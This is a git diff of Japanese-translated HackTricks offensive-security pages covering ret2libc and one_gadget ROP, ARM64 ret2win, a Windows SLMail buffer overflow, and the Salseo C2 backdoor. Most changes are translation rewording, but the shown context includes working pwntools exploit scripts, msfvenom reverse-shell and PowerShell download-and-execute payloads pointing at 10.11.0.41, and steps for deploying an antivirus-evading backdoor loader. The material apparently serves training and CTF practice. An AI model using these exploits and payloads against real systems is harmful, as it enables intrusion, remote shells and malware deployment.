= OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) Web ページ [https://libc.blukat.me/](https://libc.blukat.me) で使用されているライブラリを検索できます。\ また、**libc** の発見されたバージョンをダウンロードすることもできます -![](<../../../../.gitbook/assets/image (218).png>) +![](<../../../../.gitbook/assets/image (221).png>) ### 3.2- libc バージョンの検索(2) -また、次のようにすることもできます: +次のようにすることもできます: * `$ git clone https://github.com/niklasb/libc-database.git` * `$ cd libc-database` @@ -168,13 +168,13 @@ Web ページ [https://libc.blukat.me/](https://libc.blukat.me) で使用され * Libc シンボル名: `puts` * リークした libc アドレス: `0x7ff629878690` -最も可能性の高い**libc**を特定できます。 +最も可能性の高い**libc**がどれかを特定できます。 ```bash ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` -2つのマッチが見つかりました(最初のものが機能しない場合は、2番目のものを試してください)。最初のものをダウンロードしてください: +次の2つのマッチを取得します(最初のものが機能しない場合は、2番目のものを試してください)。最初のものをダウンロードしてください: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 @@ -195,7 +195,7 @@ gets ``` ## 4- libcアドレスの特定と悪用 -この時点で、使用されているlibcライブラリを知っているはずです。ローカルバイナリを悪用しているので、単に`/lib/x86_64-linux-gnu/libc.so.6`を使用します。 +この時点で、使用されているlibcライブラリを知っている必要があります。ローカルバイナリを悪用しているので、単に次のようにします:`/lib/x86_64-linux-gnu/libc.so.6` したがって、`template.py`の冒頭で、**libc**変数を次のように変更します:`libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` @@ -211,7 +211,7 @@ log.info("libc base @ %s" % hex(libc.address)) **最終的なlibcベースアドレスは00で終わる必要がある**ことに注意してください。そうでない場合、間違ったライブラリが漏洩している可能性があります。 {% endhint %} -次に、`system`関数へのアドレスと文字列_"/bin/sh"_への**アドレス**は、**libc**の**ベースアドレス**から**計算**され、与えられた**libcライブラリ**になります。 +次に、`system`関数へのアドレスと文字列_"/bin/sh"_への**アドレス**は、**libc**の**ベースアドレス**から**計算**され、**与えられたlibcライブラリ**になります。 ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -230,20 +230,20 @@ p.sendline(rop2) #### Interact with the shell ##### p.interactive() #Interact with the conenction ``` -Let's explain this final ROP.\ -最後のROP (`rop1`) は再びmain関数を呼び出し、その後**オーバーフローを再度悪用**できます(そのために`OFFSET`が再度ここにある)。その後、`POP_RDI`を呼び出して _"/bin/sh"_ の**アドレス**(`BINSH`)を指し、**system** 関数(`SYSTEM`)を呼び出すことを望みます。なぜなら _"/bin/sh"_ のアドレスがパラメータとして渡されるからです。\ -最後に、**exit関数のアドレス**が**呼び出され**、プロセスが**きちんと終了**し、アラートが生成されないようにします。 +## 最終のROPを説明しましょう。\ +最後のROP (`rop1`) は再びmain関数を呼び出して終了しましたので、**オーバーフロー**を再度利用できます(そのために`OFFSET`が再度ここにあります)。その後、`POP_RDI`を呼び出して _"/bin/sh"_ のアドレス (`BINSH`) を指し、**system** 関数 (`SYSTEM`) を呼び出します。なぜなら _"/bin/sh"_ のアドレスがパラメータとして渡されるからです。\ +最後に、**exit関数のアドレス**が呼び出されるので、プロセスが**きちんと終了**し、アラートが生成されません。 -**この方法でエクスプロイトは \_/bin/sh**\_\*\* シェルを実行します。\*\* +**この方法で、エクスプロイトは \_/bin/sh**\_\*\* シェルを実行します。\*\* -![](<../../../../.gitbook/assets/image (162).png>) +![](<../../../../.gitbook/assets/image (165).png>) -## 4(2)- ONE\_GADGET の使用 +## 4(2)- ONE\_GADGETの使用 -[**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)を使用して、**system** と **"/bin/sh"** を使用せずにシェルを取得することもできます。**ONE\_GADGET** は、libcライブラリ内で1つの **ROPアドレス**だけを使用してシェルを取得する方法を見つけます。\ -ただし、通常、いくつかの制約があります。最も一般的で回避が容易なものは、`[rsp+0x30] == NULL` のようなものです。**RSP**内の値を制御できるため、さらにいくつかのNULL値を送信して制約を回避すればよいです。 +[**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)を使用して、**system** と **"/bin/sh"** を使用する代わりにシェルを取得することもできます。**ONE\_GADGET** は、libcライブラリ内で1つの **ROPアドレス**だけを使用してシェルを取得する方法を見つけます。\ +ただし、通常、いくつかの制約があります。最も一般的で回避しやすいものは、`[rsp+0x30] == NULL` のようなものです。**RSP**内の値を制御できるため、さらにいくつかのNULL値を送信して制約を回避すればよいです。 -![](<../../../../.gitbook/assets/image (751).png>) +![](<../../../../.gitbook/assets/image (754).png>) ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 @@ -258,9 +258,9 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100 ## Common problems -### MAIN\_PLT = elf.symbols\['main'] not found +### MAIN\_PLT = elf.symbols\['main'] が見つかりません -もし"main"シンボルが存在しない場合、mainコードがどこにあるかを見つけることができます: +"main" シンボルが存在しない場合は、mainコードがどこにあるかを見つけることができます: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: @@ -276,22 +276,22 @@ MAIN_PLT = 0x401080 ### `sh: 1: %s%s%s%s%s%s%s%s: not found` -この**エラー**がすべてのエクスプロイトを作成した後に見つかった場合: `sh: 1: %s%s%s%s%s%s%s%s: not found` +この**エラー**を見つけた場合は、すべてのエクスプロイトを作成した後に `sh: 1: %s%s%s%s%s%s%s%s: not found` -**"/bin/sh"のアドレスから64バイトを減算**してみてください: +**"/bin/sh"のアドレスから64バイトを引いてみてください**。 ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` -htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ! +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。** -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** diff --git a/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 8357703f6..7f394e9ac 100644 --- a/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -2,19 +2,19 @@ -ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。** +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。** +* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する。 -[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)でarm64の紹介を見つける。 +[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) でarm64の紹介を見つける。 ```c #include #include @@ -33,13 +33,11 @@ vulnerable_function(); return 0; } ``` -``` -PIEやCanaryなしでコンパイルする: -``` +コンパイル時にPIEとCanaryを無効にしてください。 ```bash clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie ``` -## オフセットの検索 +## オフセットの検出 ### パターンオプション @@ -51,13 +49,13 @@ gdb -q ./ret2win pattern create 200 run ``` - + -arm64は、レジスタx30(侵害された)に含まれるアドレスに戻ろうとします。これを使用してパターンオフセットを見つけることができます: +arm64は、レジスタx30(侵害されたレジスタ)に含まれるアドレスに戻ろうとします。これを使用してパターンオフセットを見つけることができます。 ```bash pattern search $x30 ``` - + **オフセットは72 (9x48) です。** @@ -70,22 +68,22 @@ b *vulnerable_function + 0xc run info frame ``` - + -`read()`の後にブレークポイントを設定して、`read()`が実行されるまで継続し、13371337などのパターンを設定します。 +`read()`の後にブレークポイントを設定し、`read()`が実行されるまで継続し、13371337のようなパターンを設定します。 ``` b *vulnerable_function+28 c ``` - + このパターンがメモリ内のどこに保存されているかを見つけます: - + 次に:**`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** - + ## No PIE @@ -98,7 +96,8 @@ ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` Exploit: -悪用: + +**Exploit(攻撃手法):** ```python from pwn import * @@ -118,11 +117,11 @@ p.send(payload) print(p.recvline()) p.close() ``` - + ### Off-by-1 -実際には、これはスタック内の格納されたPCにおいてオフバイ2のようになります。 戻りアドレス全体を上書きする代わりに、最後の2バイトのみを `0x06c4` で上書きします。 +実際には、これはスタック内の格納されたPCにおいてオフバイ2のようになります。 戻りアドレス全体を上書きするのではなく、**最後の2バイトのみ**を `0x06c4` で上書きします。 ```python from pwn import * @@ -142,21 +141,21 @@ p.send(payload) print(p.recvline()) p.close() ``` - + -ARM64における別のオフバイワンの例は、[https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) で見つけることができます。これは架空の脆弱性における実際のオフバイ**ワン**です。 +ARM64における別のオフバイワンの例は、[https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) で見つけることができます。これは架空の脆弱性における実際のオフバイ**one**です。 ## PIEを使用する場合 {% hint style="success" %} -バイナリを**`-no-pie`引数なしで**コンパイルしてください +バイナリを**`-no-pie`引数なしで**コンパイルします {% endhint %} ### オフバイ2 -リークがない場合、勝利関数の正確なアドレスはわかりませんが、関数のバイナリからのオフセットを知ることができ、上書きしているリターンアドレスがすでに近いアドレスを指していることを知っているので、この場合、勝利関数のオフセット(**0x7d4**)をリークさせることが可能であり、そのオフセットを使用するだけです: +リークがない場合、勝利関数の正確なアドレスはわかりませんが、バイナリから関数のオフセットを知ることができ、上書きしているリターンアドレスがすでに近いアドレスを指していることを知っているので、この場合、勝利関数のオフセット(**0x7d4**)をリークさせることが可能であり、そのオフセットを使用するだけです: - + ```python from pwn import * @@ -180,12 +179,12 @@ p.close() ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* **💬 [**Discordグループに参加**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。** diff --git a/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md b/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md index c89009a5d..55beca58e 100644 --- a/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md +++ b/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md @@ -2,27 +2,27 @@ -AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 -- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする** +* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する -## **SLMailサービスのインストールを開始** +## **SLMailサービスのインストールを開始する** ## SLMailサービスの再起動 -**SLMailサービスを再起動する必要があるたびに**、Windowsコンソールを使用して行うことができます。 +**SLMailサービスを再起動する必要があるたびに**、Windowsコンソールを使用して行うことができます: ``` net start slmail ``` -![](<../.gitbook/assets/image (985).png>) +![](<../.gitbook/assets/image (988).png>) ## 非常に基本的なPythonエクスプロイトテンプレート ```python @@ -54,47 +54,49 @@ print "Could not connect to "+ip+":"+port **File --> Attach** -![](<../.gitbook/assets/image (866).png>) +![](<../.gitbook/assets/image (869).png>) **そしてSTARTボタンを押します** -## **エクスプロイトを送信し、EIPが影響を受けているか確認します:** +## **エクスプロイトを送信し、EIPが影響を受けているかどうかを確認します:** -![](<../.gitbook/assets/image (903).png>) +![](<../.gitbook/assets/image (906).png>) -サービスを中断するたびに、このページの冒頭に示されているように再起動する必要があります。 +サービスを停止させるたびに、このページの冒頭に示されているように再起動する必要があります。 -## EIPを変更するためのパターンを作成する +## **EIPを変更するためのパターンを作成する** -パターンは、以前にサービスを中断するために使用したバッファと同じ大きさである必要があります。 +パターンは、以前にサービスを破壊するために使用したバッファと同じ大きさである必要があります。 -![](<../.gitbook/assets/image (417).png>) +![](<../.gitbook/assets/image (420).png>) ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` -変更したエクスプロイトのバッファを設定し、パターンを設定してエクスプロイトを実行します。 +``` +変更したバッファのエクスプロイトを設定し、パターンを設定してエクスプロイトを実行します。 新しいクラッシュが発生するはずですが、異なるEIPアドレスが表示されます: -![](<../.gitbook/assets/image (633).png>) +![](<../.gitbook/assets/image (636).png>) アドレスがパターン内にあるかどうかを確認します: -![](<../.gitbook/assets/image (415).png>) +![](<../.gitbook/assets/image (418).png>) +``` ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` 見たところ、**バッファのオフセット2606でEIPを変更できる**ようです。 -エクスプロイトのバッファを変更して確認してみましょう: +エクスプロイトのバッファを変更して確認してみてください: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` このバッファを使用すると、EIPがクラッシュした場合、42424242 ("BBBB") を指すはずです。 -![](<../.gitbook/assets/image (871).png>) +![](<../.gitbook/assets/image (874).png>) -![](<../.gitbook/assets/image (89).png>) +![](<../.gitbook/assets/image (92).png>) 動作しているようです。 @@ -108,17 +110,17 @@ buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` 新しいエクスプロイトを起動し、EBPと有用なシェルコードの長さをチェックします -![](<../.gitbook/assets/image (116).png>) +![](<../.gitbook/assets/image (119).png>) -![](<../.gitbook/assets/image (876).png>) +![](<../.gitbook/assets/image (879).png>) -脆弱性に到達すると、EBPがシェルコードを指し示しており、ここにシェルコードを配置するための十分なスペースがあることがわかります。 +脆弱性に到達すると、EBPがシェルコードを指し示しており、ここにシェルコードを配置するための多くのスペースがあることがわかります。 -この場合、**0x0209A128から0x0209A2D6まで= 430B**。十分です。 +この場合、**0x0209A128から0x0209A2D6まで= 430B**。 十分です。 ## 悪い文字をチェック -再度バッファを変更します: +再度、バッファを変更します: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -140,27 +142,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` -badcharsは0x00がほとんど常に悪いため、0x01から始まります。 +badchars は 0x00 がほとんど常に悪いため、0x01 から始まります。 -この新しいバッファで無用な文字を削除して、エクスプロイトを繰り返し実行します。 +この新しいバッファを使用して、見つかった無用な文字を削除しながら、エクスプロイトを繰り返し実行します。 例: -この場合、**文字0x0Aを使用しないほうがよい**ことがわかります(文字0x09ではメモリに保存されていません)。 +この場合、**文字 0x0A を使用しないでください**(文字 0x09 ではメモリに保存されていません)。 -![](<../.gitbook/assets/image (108).png>) +![](<../.gitbook/assets/image (111).png>) -この場合、**文字0x0Dが回避されている**ことがわかります: +この場合、**文字 0x0D は回避されている**ことがわかります: -![](<../.gitbook/assets/image (1095).png>) +![](<../.gitbook/assets/image (1098).png>) -## JMP ESPをリターンアドレスとして見つける +## 戻りアドレスとして JMP ESP を見つける 使用中: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` -あなたは**メモリマップをリストアップ**します。次の条件を持つDLLを検索します: +次に、**メモリマップをリストアップします**。次の条件を満たすDLLを検索します: - **Rebase: False** - **SafeSEH: False** @@ -168,27 +170,27 @@ badcharsは0x00がほとんど常に悪いため、0x01から始まります。 - **NXCompat: False** - **OS Dll: True** -![](<../.gitbook/assets/image (552).png>) +![](<../.gitbook/assets/image (555).png>) -今、このメモリ内にいくつかのJMP ESPバイトを見つける必要があります。これを実行するには: +次に、このメモリ内にあるいくつかのJMP ESPバイトを見つける必要があります。これを行うには、次のコマンドを実行します: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` -**その後、見つかったアドレスの中から、悪意のある文字を含まないものを選択します:** +**その後、いくつかのアドレスが見つかった場合は、悪意のある文字を含まないものを選択します:** -![](<../.gitbook/assets/image (602).png>) +![](<../.gitbook/assets/image (605).png>) -**この場合、例えば: \_0x5f4a358f**\_ +**この場合、例えば: \_0x5f4a358f**\_ -## シェルコードを作成 +## シェルコードの作成 ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` もしエクスプロイトが機能していないが、機能するはずである場合(ImDebgでシェルコードに到達していることがわかる)、他のシェルコードを作成してみてください(msfvenomを使用して同じパラメーターで異なるシェルコードを作成します)。 -シェルコードの**先頭にいくつかのNOPSを追加**し、それを使用してreturn addressにJMP ESPを実行し、エクスプロイトを完成させます: +シェルコードの**先頭にいくつかのNOPSを追加**し、それを使用してreturnアドレスにJMP ESPを実行し、エクスプロイトを完成させます: ```bash #!/usr/bin/python @@ -254,9 +256,9 @@ EXITFUNC=thread -e x86/shikata_ga_nai HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** diff --git a/c2/salseo.md b/c2/salseo.md index 90d064c58..88e89a3cb 100644 --- a/c2/salseo.md +++ b/c2/salseo.md @@ -2,169 +2,156 @@ -ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦でフォロー**する [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する +* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** ## バイナリのコンパイル -GitHubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**が必要です。 +GitHub からソースコードをダウンロードし、**EvilSalsa** と **SalseoLoader** をコンパイルします。コードをコンパイルするには **Visual Studio** が必要です。 これらのプロジェクトを、使用するWindowsボックスのアーキテクチャ用にコンパイルします(Windowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルします)。 -Visual Studio内で、**左側の"Build"タブ**内の\*\*"Platform Target"\*\*でアーキテクチャを選択できます。 +Visual Studio内で、**"Platform Target"** で **左側の "Build" タブ** でアーキテクチャを選択できます。 -(\*\*このオプションが見つからない場合は、\*\*"Project Tab"**をクリックして、次に**" Properties"\*\*をクリックします) +(\*\*このオプションが見つからない場合は、**"Project Tab"** を押し、次に **" Properties"** をクリックします) -![](<../.gitbook/assets/image (132).png>) +![](<../.gitbook/assets/image (839).png>) -次に、両方のプロジェクトをビルドします(Build -> Build Solution)(ログ内に実行可能ファイルのパスが表示されます): +その後、両方のプロジェクトをビルドします(Build -> Build Solution)(ログ内に実行可能ファイルのパスが表示されます): -![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>) +![](<../.gitbook/assets/image (381).png>) ## バックドアの準備 -まず、**EvilSalsa.dll**をエンコードする必要があります。これを行うには、Pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルできます: +まず、**EvilSalsa.dll** をエンコードする必要があります。これを行うには、pythonスクリプト **encrypterassembly.py** を使用するか、プロジェクト **EncrypterAssembly** をコンパイルできます: ### **Python** - ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` - ### Windows ### ウィンドウズ - ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` +Ok, 今、Salseoのすべてを実行するために必要なものが揃いました: **エンコードされたEvilDalsa.dll** と **SalseoLoaderのバイナリ**。 -## **バックドアの実行** +**SalseoLoader.exeバイナリをマシンにアップロードしてください。どのAVにも検出されないようにしてください...** -### **TCPリバースシェルの取得(HTTPを介してエンコードされたdllをダウンロードする)** +## **バックドアを実行する** -リバースシェルリスナーとHTTPサーバーを起動して、エンコードされたEvilDalsa.dllを提供することを忘れないでください。 +### **TCPリバースシェルを取得する(HTTPを介してエンコードされたdllをダウンロードする)** +リバースシェルリスナーとHTTPサーバーを起動して、エンコードされたevilsalsaを提供することを忘れないでください。 ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` - ### **UDPリバースシェルを取得する(SMBを介してエンコードされたdllをダウンロードする)** 